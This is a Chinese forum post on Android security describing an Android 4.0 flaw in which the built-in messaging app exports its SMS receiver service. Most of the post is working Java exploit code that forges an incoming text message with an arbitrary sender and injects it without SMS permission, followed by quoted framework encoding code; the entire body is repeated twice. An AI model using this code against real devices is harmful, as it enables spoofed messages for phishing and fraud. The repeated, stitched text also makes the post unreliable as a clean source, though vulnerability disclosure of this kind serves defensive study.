-
-
安卓安全
-
发表于: 2014-11-7 22:35 681
-
android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之所以现在才写这篇文章,就是觉得,该升级的基本已经都升级了,该打补丁的基本都已经打了补丁,所以现在差不多是时候了。
原生android4.0系统中,Mms.apk的manifest有这样一段
Xml代码 收藏代码
<service android:name=".transaction.SmsReceiverService"
android:exported="true" />
android:exported="true",意味着SmsReceiverService这个Service暴露给了大家,也让病毒有机可乘
在stackoverflow上面,有人早就给出了伪造短信的方案,我们在这里就直接使用人家的代码好了
http://stackoverflow.com/questions/12335642/create-pdu-for-android-that-works-with-smsmessage-createfrompdu-gsm-3gpp
其中UCS-2处理是我新加上去的
Java代码 收藏代码
private static void createFakeSms(Context context, String sender,
String body) {
byte[] pdu = null;
byte[] scBytes = PhoneNumberUtils
.networkPortionToCalledPartyBCD("0000000000");
byte[] senderBytes = PhoneNumberUtils
.networkPortionToCalledPartyBCD(sender);
int lsmcs = scBytes.length;
// 时间处理,包括年月日时分秒以及时区和夏令时
byte[] dateBytes = new byte[7];
Calendar calendar = new GregorianCalendar();
dateBytes[0] = SmsUtil
.reverseByte((byte) (calendar.get(Calendar.YEAR)));
dateBytes[1] = SmsUtil
.reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));
dateBytes[2] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.DAY_OF_MONTH)));
dateBytes[3] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.HOUR_OF_DAY)));
dateBytes[4] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.MINUTE)));
dateBytes[5] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.SECOND)));
dateBytes[6] = SmsUtil
.reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar
.get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));
try {
ByteArrayOutputStream bo = new ByteArrayOutputStream();
bo.write(lsmcs);// 短信服务中心长度
bo.write(scBytes);// 短信服务中心号码
bo.write(0x04);
bo.write((byte) sender.length());// 发送方号码长度
bo.write(senderBytes);// 发送方号码
bo.write(0x00);// 协议标示,00为普通GSM,点对点方式
try {
String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";
Class<?> cReflectedNFCExtras = Class
.forName(sReflectedClassName);
Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(
"stringToGsm7BitPacked", new Class[] { String.class });
stringToGsm7BitPacked.setAccessible(true);
byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,
body);
bo.write(0x00); // encoding: 0 for default 7bit
bo.write(dateBytes);
bo.write(bodybytes);
} catch (Exception e) {
Log.i(TAG, "sender:" + sender + "\nbody:" + body, e);
// 下面是UCS-2编码的处理,中文短信就需要用此种方式
bo.write(0x08); // encoding: 8 for UCS-2
bo.write(dateBytes);
bo.write(SmsUtil.encodeUCS2(body, null));// 其中encodeUCS2是从系统中复制过来的,并不是我写的
// 源码具体位置在
// frameworks/base/telephony/java/com/android/internal/telephony/gsm/SmsMessage.java
}
pdu = bo.toByteArray();
} catch (IOException e) {
Log.e(TAG, "sender:" + sender + "\nbody:" + body, e);
}
// 上面的部分都是组织短信数据,下面是将数据传递给SmsReceiverService,让它来帮我们发送。虽然我们的程序没有发送短信的权限,但是人家有啊!
Intent intent = new Intent();
intent.setClassName("com.android.mms",
"com.android.mms.transaction.SmsReceiverService");
intent.setAction("android.provider.Telephony.SMS_RECEIVED");
intent.putExtra("pdus", new Object[] { pdu });
intent.putExtra("format", "3gpp");
context.startService(intent);
}
public static byte reverseByte(byte b) {
return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);
}
我们看看在SmsMessage.java中的getSubmitPdu处理user data的方式
Java代码 收藏代码
// User Data (and length)
byte[] userData;
try {
if (encoding == ENCODING_7BIT) {
userData = GsmAlphabet.stringToGsm7BitPackedWithHeader(message, header,
languageTable, languageShiftTable);
} else { //assume UCS-2
try {
userData = encodeUCS2(message, header);
} catch(UnsupportedEncodingException uex) {
Log.e(LOG_TAG,
"Implausible UnsupportedEncodingException ",
uex);
return null;
}
}
} catch (EncodeException ex) {
// Encoding to the 7-bit alphabet failed. Let's see if we can
// send it as a UCS-2 encoded message
try {
userData = encodeUCS2(message, header);
encoding = ENCODING_16BIT;
} catch(UnsupportedEncodingException uex) {
Log.e(LOG_TAG,
"Implausible UnsupportedEncodingException ",
uex);
return null;
}
}
先看是不是7-bit编码方式,如果不是,那么就假设是UCS-2编码,如果抛出EncodeException,那么也尝试UCS-2编码
原生android4.0系统中,Mms.apk的manifest有这样一段
Xml代码 收藏代码
<service android:name=".transaction.SmsReceiverService"
android:exported="true" />
android:exported="true",意味着SmsReceiverService这个Service暴露给了大家,也让病毒有机可乘
在stackoverflow上面,有人早就给出了伪造短信的方案,我们在这里就直接使用人家的代码好了
http://stackoverflow.com/questions/12335642/create-pdu-for-android-that-works-with-smsmessage-createfrompdu-gsm-3gpp
其中UCS-2处理是我新加上去的
Java代码 收藏代码
private static void createFakeSms(Context context, String sender,
String body) {
byte[] pdu = null;
byte[] scBytes = PhoneNumberUtils
.networkPortionToCalledPartyBCD("0000000000");
byte[] senderBytes = PhoneNumberUtils
.networkPortionToCalledPartyBCD(sender);
int lsmcs = scBytes.length;
// 时间处理,包括年月日时分秒以及时区和夏令时
byte[] dateBytes = new byte[7];
Calendar calendar = new GregorianCalendar();
dateBytes[0] = SmsUtil
.reverseByte((byte) (calendar.get(Calendar.YEAR)));
dateBytes[1] = SmsUtil
.reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));
dateBytes[2] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.DAY_OF_MONTH)));
dateBytes[3] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.HOUR_OF_DAY)));
dateBytes[4] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.MINUTE)));
dateBytes[5] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.SECOND)));
dateBytes[6] = SmsUtil
.reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar
.get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));
try {
ByteArrayOutputStream bo = new ByteArrayOutputStream();
bo.write(lsmcs);// 短信服务中心长度
bo.write(scBytes);// 短信服务中心号码
bo.write(0x04);
bo.write((byte) sender.length());// 发送方号码长度
bo.write(senderBytes);// 发送方号码
bo.write(0x00);// 协议标示,00为普通GSM,点对点方式
try {
String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";
Class<?> cReflectedNFCExtras = Class
.forName(sReflectedClassName);
Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(
"stringToGsm7BitPacked", new Class[] { String.class });
stringToGsm7BitPacked.setAccessible(true);
byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,
body);
bo.write(0x00); // encoding: 0 for default 7bit
bo.write(dateBytes);
bo.write(bodybytes);
} catch (Exception e) {
Log.i(TAG, "sender:" + sender + "\nbody:" + body, e);
// 下面是UCS-2编码的处理,中文短信就需要用此种方式
bo.write(0x08); // encoding: 8 for UCS-2
bo.write(dateBytes);
bo.write(SmsUtil.encodeUCS2(body, null));// 其中encodeUCS2是从系统中复制过来的,并不是我写的
// 源码具体位置在
// frameworks/base/telephony/java/com/android/internal/telephony/gsm/SmsMessage.java
}
pdu = bo.toByteArray();
} catch (IOException e) {
Log.e(TAG, "sender:" + sender + "\nbody:" + body, e);
}
// 上面的部分都是组织短信数据,下面是将数据传递给SmsReceiverService,让它来帮我们发送。虽然我们的程序没有发送短信的权限,但是人家有啊!
Intent intent = new Intent();
intent.setClassName("com.android.mms",
"com.android.mms.transaction.SmsReceiverService");
intent.setAction("android.provider.Telephony.SMS_RECEIVED");
intent.putExtra("pdus", new Object[] { pdu });
intent.putExtra("format", "3gpp");
context.startService(intent);
}
public static byte reverseByte(byte b) {
return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);
}
我们看看在SmsMessage.java中的getSubmitPdu处理user data的方式
Java代码 收藏代码
// User Data (and length)
byte[] userData;
try {
if (encoding == ENCODING_7BIT) {
userData = GsmAlphabet.stringToGsm7BitPackedWithHeader(message, header,
languageTable, languageShiftTable);
} else { //assume UCS-2
try {
userData = encodeUCS2(message, header);
} catch(UnsupportedEncodingException uex) {
Log.e(LOG_TAG,
"Implausible UnsupportedEncodingException ",
uex);
return null;
}
}
} catch (EncodeException ex) {
// Encoding to the 7-bit alphabet failed. Let's see if we can
// send it as a UCS-2 encoded message
try {
userData = encodeUCS2(message, header);
encoding = ENCODING_16BIT;
} catch(UnsupportedEncodingException uex) {
Log.e(LOG_TAG,
"Implausible UnsupportedEncodingException ",
uex);
return null;
}
}
先看是不是7-bit编码方式,如果不是,那么就假设是UCS-2编码,如果抛出EncodeException,那么也尝试UCS-2编码
赞赏
看原图
赞赏
雪币:
留言: